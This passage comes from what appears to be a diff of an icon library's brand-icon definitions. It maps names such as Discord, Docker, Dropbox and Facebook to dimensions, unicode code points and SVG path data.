133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z" ], + "digital-ocean": [ 512, 512, [], "f391", "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z" ], + discord: [ 640, 512, [], "f392", "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z" ], + discourse: [ 448, 512, [], "f393", "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z" ], + dochub: [ 416, 512, [], "f394", "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z" ], + docker: [ 640, 512, [], "f395", "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z" ], + draft2digital: [ 480, 512, [], "f396", "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z" ], + dribbble: [ 512, 512, [], "f17d", "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z" ], + "dribbble-square": [ 448, 512, [], "f397", "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z" ], + dropbox: [ 528, 512, [], "f16b", "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z" ], + drupal: [ 448, 512, [], "f1a9", "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z" ], + dyalog: [ 416, 512, [], "f399", "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z" ], + earlybirds: [ 480, 512, [], "f39a", "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z" ], + ebay: [ 640, 512, [], "f4f4", "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z" ], + edge: [ 512, 512, [], "f282", "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z" ], + "edge-legacy": [ 512, 512, [], "e078", "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z" ], + elementor: [ 448, 512, [], "f430", "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z" ], + ello: [ 496, 512, [], "f5f1", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z" ], + ember: [ 640, 512, [], "f423", "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z" ], + empire: [ 496, 512, [], "f1d1", "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z" ], + envira: [ 448, 512, [], "f299", "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z" ], + erlang: [ 640, 512, [], "f39d", "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z" ], + ethereum: [ 320, 512, [], "f42e", "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z" ], + etsy: [ 384, 512, [], "f2d7", "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z" ], + evernote: [ 384, 512, [], "f839", "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z" ], + expeditedssl: [ 496, 512, [], "f23e", "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z" ], + facebook: [ 512, 512, [], "f09a", "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z" ], + "facebook-f": [ 320, 512, [], "f39e", "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z" ], + "facebook-messenger": [ 512, 512, [], "f39f", "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 